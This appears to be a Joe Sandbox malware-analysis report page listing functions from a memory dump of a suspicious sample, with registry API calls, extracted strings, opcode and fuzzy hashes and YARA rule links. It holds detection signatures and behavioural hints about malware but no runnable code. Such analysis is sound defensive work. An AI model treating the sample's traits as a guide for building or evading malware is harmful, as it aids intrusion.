Instruction ID: 4724c9303da390ff674226eb41e53569f5a6729d48bf482116438f0134217ff2
Opcode Fuzzy Hash: 20c806e4119b352afb07f80592aaaaa5a7cd6e92af54fe2fc50114bcd56aec79
Instruction Fuzzy Hash: 71E08CB51041147ED7209A4BDC0DEE77F6DEBC2BB0B08901AB408D2100C260AC04C2B0

Function 0054A27C Relevance: 1.5, APIs: 1, Instructions: 21nativeCOMMON

Download Yara Rule

APIs

NtSetInformationKey.NTDLL(?,?,?,?), ref: 0054A29D

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: Information
String ID:
API String ID: 2951059284-0
Opcode ID: a1f344fb1f740be118c68246d94b282fd3de0ce6fce18cc37d3107bad7c875ea
Instruction ID: ebb1262123e09ee1145a9a217b330925beafbf9b72cf771700ebc9942ee1e715
Opcode Fuzzy Hash: a1f344fb1f740be118c68246d94b282fd3de0ce6fce18cc37d3107bad7c875ea
Instruction Fuzzy Hash: 41D0A7F94162247FE3005799EC0DEF77F5EDB857A0F48C166B008D2014C2A16C40D2F1

Function 00549D60 Relevance: 1.5, APIs: 1, Instructions: 21nativeCOMMON

Download Yara Rule

APIs

NtOpenKeyEx.NTDLL(?,?,?,?), ref: 00549D81

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 893b7f89c3e09d027f7dd1947b11800e86e536bc33f32a440c470624c02215d3
Instruction ID: 6b8200722086815cc7af6a12ea03ebdd6defccf25cb1b47f25f70f9a9808580e
Opcode Fuzzy Hash: 893b7f89c3e09d027f7dd1947b11800e86e536bc33f32a440c470624c02215d3
Instruction Fuzzy Hash: 11D0A9F58011A47EF70097AAED0EEF33E9DDBC63A8F48801AB00AD3091D2A06C40D2F0

Function 004A5DC0 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

,, xrefs: 004A5EF6

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 0531334b7fffcde3865fb21c1ce5d75be555e6f91d433e9ffe1cbf6fcaea62ba
Instruction ID: 009b507073b7421181611651c7bf7e91a117bbb8569c0b39bb543a3465a7fadb
Opcode Fuzzy Hash: 0531334b7fffcde3865fb21c1ce5d75be555e6f91d433e9ffe1cbf6fcaea62ba
Instruction Fuzzy Hash: 4DB14A711087819FC321CF18C98061BFBE0AFAA704F484E2DE5D997742D635EA18CBA7

Function 00549F54 Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtOpenKey.NTDLL(?,?,?), ref: 00549F6B

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 65eef224ed7d813de170db7d9103f659e78c348fa5ce5163d907b86830ba915c
Instruction ID: 022c55a316f6f1fc9fb9777847f7f1ea9cbddc72fc66c49e8df543285ceabd31
Opcode Fuzzy Hash: 65eef224ed7d813de170db7d9103f659e78c348fa5ce5163d907b86830ba915c
Instruction Fuzzy Hash: 37C002D85142407DEF565768DC0EFF7195E97C170AF08A14D7024C1094DA646C459630

Function 00532FF0 Relevance: 1.5, Strings: 1, Instructions: 259COMMON

Download Yara Rule

Strings

Rijndael: Invalid key size - %d, xrefs: 0053303F

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: Rijndael: Invalid key size - %d
API String ID: 0-1845578026
Opcode ID: ff12a26721ccc7cd37aed15f5ace528d4423faca89348bf64e7bf20c29235a2a
Instruction ID: 275902bf3f64366184e5bef168ee95c805decf8efebd68ac78043353121e0154
Opcode Fuzzy Hash: ff12a26721ccc7cd37aed15f5ace528d4423faca89348bf64e7bf20c29235a2a
Instruction Fuzzy Hash: ABB17A34A0528A9FDF14CFA8C5846EEBBF2FF89300F6544A9D855EB306D631AB05CB51

Function 004C93A0 Relevance: 1.5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

Strings

", xrefs: 004C95AE

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 1aab1f579bbd9cff8681e753ce870bbe09273e168fa5d4815b2b39e6bca70244
Instruction ID: 117947eb00210d496a8a0ce16a7db39887590174ef25899d354602c6de37b295
Opcode Fuzzy Hash: 1aab1f579bbd9cff8681e753ce870bbe09273e168fa5d4815b2b39e6bca70244
Instruction Fuzzy Hash: 42811636B08315ABD754CE28C488B1FB7E2ABC5710F29856FE4948B391D339DD46C78A

Function 005F0434 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

l3^, xrefs: 005F0437

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: l3^
API String ID: 0-3325358741
Opcode ID: 2c9007ea230a80333e9090b04a157849efd2331afb73dbc70c2b0f9bb06ba44d
Instruction ID: b33700889e3cfe5990d87217b87eb6de2d2e105db773e7179932ce083058388a
Opcode Fuzzy Hash: 2c9007ea230a80333e9090b04a157849efd2331afb73dbc70c2b0f9bb06ba44d
Instruction Fuzzy Hash: D9B17FB16042008FE748CF19D489B417BE1BF49318F1680A9D9098F3A7D7BAE985CF94

Function 005E3958 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

l3^, xrefs: 005E3979

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: l3^
API String ID: 0-3325358741
Opcode ID: cd641c33f9456af7222f057b89df18d4ee22f1290b1d5e74034a57cd02b5e620
Instruction ID: fc0ffa7c4a812686f673d90d7ed88227639248aac26b1a275f6808312513bfc6
Opcode Fuzzy Hash: cd641c33f9456af7222f057b89df18d4ee22f1290b1d5e74034a57cd02b5e620
Instruction Fuzzy Hash: 86A13674A002499FDB14DF65C989A9DBBF6FF48310F1481E5E948AB3A1DB70AE85CF40

Function 004BD180 Relevance: 1.5, Strings: 1, Instructions: 228COMMON

Download Yara Rule

Strings

m, xrefs: 004BD2F6

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: m
API String ID: 0-3775001192
Opcode ID: 7e44731e470e1a7eb8d722017f90be9504072d28870e4d30e2f16def0fff0b1c
Instruction ID: e28e029cee71218a7f089b755c609f395a751e8d4839dacb48a1354348f57034
Opcode Fuzzy Hash: 7e44731e470e1a7eb8d722017f90be9504072d28870e4d30e2f16def0fff0b1c
Instruction Fuzzy Hash: 4071F623A4A6D047D328853C4C522A67AC34BD6234F2DD7BFD8F58B3E5E5698C06835A

Function 004D7E80 Relevance: 1.5, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

6543, xrefs: 004D8017

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 6543
API String ID: 0-3529428475
Opcode ID: bac7f014b83667171c658bd8d60a248c02b549d58f4d74b68e3d9204008faeff
Instruction ID: b18a4b5114cbfc6673505d1809b9d696633d6f304ba74feb654a6a0de5af4d65
Opcode Fuzzy Hash: bac7f014b83667171c658bd8d60a248c02b549d58f4d74b68e3d9204008faeff
Instruction Fuzzy Hash: AE510676B082109BC7258F68CC9163BB7A3FBD8310F1AC57FD98597365DA389C068B85

Function 005CBF48 Relevance: 1.5, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

ZwQueryKey, unsupported class %d, xrefs: 005CC727

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: ZwQueryKey, unsupported class %d
API String ID: 0-3838701109
Opcode ID: 31310ceeb52ef5e0e124c201fe9fe972d025522f0caaba3a867b63cdb11685c8
Instruction ID: 76c4ea06b293c3e76a9eada893f8a183208b9c9e14fd262c46b8d511049f2d5e
Opcode Fuzzy Hash: 31310ceeb52ef5e0e124c201fe9fe972d025522f0caaba3a867b63cdb11685c8
Instruction Fuzzy Hash: 5981E6B4A002099FDB40DFA9C985BAEBBF5FB88314F558469E848DB246D738DD04CF64

Function 004AEFD0 Relevance: 1.4, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

E, xrefs: 004AEFED

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: E
API String ID: 0-3568589458
Opcode ID: ad5fa40ab1f4f04596bc80e1d39d40927949d7fef8bae5dd56a32de458be7e70
Instruction ID: 1bd5bd147959d5c70093152c8f1993c0f2e36891dc5325074872333fda04b4c2
Opcode Fuzzy Hash: ad5fa40ab1f4f04596bc80e1d39d40927949d7fef8bae5dd56a32de458be7e70
Instruction Fuzzy Hash: 0C613972A1D7908BD3149A39C8512EFBBD2ABD6314F198A3ED8D583382D6388906D347

Function 005A8264 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

f, xrefs: 005A8338

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: c220febb54887e0578e3c44309d14e6df7f0fff68dfc7888a4f34416fbbc8139
Instruction ID: 77ffdaa8566bc2a4d32601b4606ec1d493e7d8dfb0be218b7ebb65a66b73b87e
Opcode Fuzzy Hash: c220febb54887e0578e3c44309d14e6df7f0fff68dfc7888a4f34416fbbc8139
Instruction Fuzzy Hash: 4961E524D482EB9BDF239EA84880BFEBFA6BF47704F1945F58C9853243D9750E098760

Function 005A8600 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

f, xrefs: 005A86D4

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: 2c416084e9534e79cd5e666b90c1b120bad38c304e0715af2a6af32b3491dc7e
Instruction ID: d876f9fe8945c551d0a23b1c658fd9c5d60d41cc15782debb27b601b8f9b2e65
Opcode Fuzzy Hash: 2c416084e9534e79cd5e666b90c1b120bad38c304e0715af2a6af32b3491dc7e
Instruction Fuzzy Hash: B861B424D442EB9AEB239EB84440BBEBFB6BF57344F2945F4CC9853243D9664E05CB60

Function 005A8A40 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

f, xrefs: 005A8B14

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: 60d88c6f77f29b3529ea9c0d34bc51116ba451afc4508661a9ad9c2639359e05
Instruction ID: 60f057391178c58a82ea1516b891ad2f6d7d3c6d371b20d895df7078c289d578
Opcode Fuzzy Hash: 60d88c6f77f29b3529ea9c0d34bc51116ba451afc4508661a9ad9c2639359e05
Instruction Fuzzy Hash: 01610360D082EA8ADB239EA84494BBEBFB6BF53314F1900F4CC9857243D9754E46CB74

Function 004B884A Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

R, xrefs: 004B884A

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: R
API String ID: 0-1466425173
Opcode ID: e0f46f4be823367f354446c9dbd475706dff132007e8ee931795764b38bfa08a
Instruction ID: 66849b325958417e7da9140ab35d3de3aac861ae5a29b7b31f63fe707371fe8b
Opcode Fuzzy Hash: e0f46f4be823367f354446c9dbd475706dff132007e8ee931795764b38bfa08a
Instruction Fuzzy Hash: A74147715093508BC718DF2984616BBB7E5EFD6320F091A4EE4D29B391EB788C00C7A6

Function 004B8A0E Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

R, xrefs: 004B8A19

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: R
API String ID: 0-1466425173
Opcode ID: 421fdbf02e6bade920c1589b232d7156372142b2fea425b79b3631000bccf0ec
Instruction ID: a6ed038fd27395fd6841e41e4111ce9560b11b5cbc2f572893e22b148762dab7
Opcode Fuzzy Hash: 421fdbf02e6bade920c1589b232d7156372142b2fea425b79b3631000bccf0ec
Instruction Fuzzy Hash: D641467190935187C728CF2988612EBB7E1EFE6320F194A1EF4D65B380EB785801C792

Function 004BB1E1 Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

5+7(, xrefs: 004BB2AC

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 5+7(
API String ID: 0-1998288448
Opcode ID: 0e91083c4e0edda5f5ca2338e144ef300d6aee8364ae6d04d92ca45888ccc4f6
Instruction ID: 08f3948f9edb96a1c667e409ad3f0082e740558c19cb5820574a19eeba5f26de
Opcode Fuzzy Hash: 0e91083c4e0edda5f5ca2338e144ef300d6aee8364ae6d04d92ca45888ccc4f6
Instruction Fuzzy Hash: E1415D76D083904BD314CE3988913A7BBD19FD6304F1C996FE8C557352D6B88D0687E5

Function 004DB220 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

@, xrefs: 004DB2C2

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 9d4afcfa7c75676c9bfc3ea2eb8edb3b85eb3d10e6c4af3f6dce21821cde3eb7
Instruction ID: afad60c40ca8df6dfd2178f050376315033321a6167f514adeab28ceda21325d
Opcode Fuzzy Hash: 9d4afcfa7c75676c9bfc3ea2eb8edb3b85eb3d10e6c4af3f6dce21821cde3eb7
Instruction Fuzzy Hash: 1E412672908300DBD7108F64CC95B6BBBA1EFA5328F16465EF9841B3A1E3399805C7CA

Function 005A7268 Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

AuthenticAMD, xrefs: 005A732C

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: AuthenticAMD
API String ID: 0-1824591176
Opcode ID: 7fa57fb1a0f0d4da5e13c136e5df37bb61d9e471a86c01d151896810d1366a3f
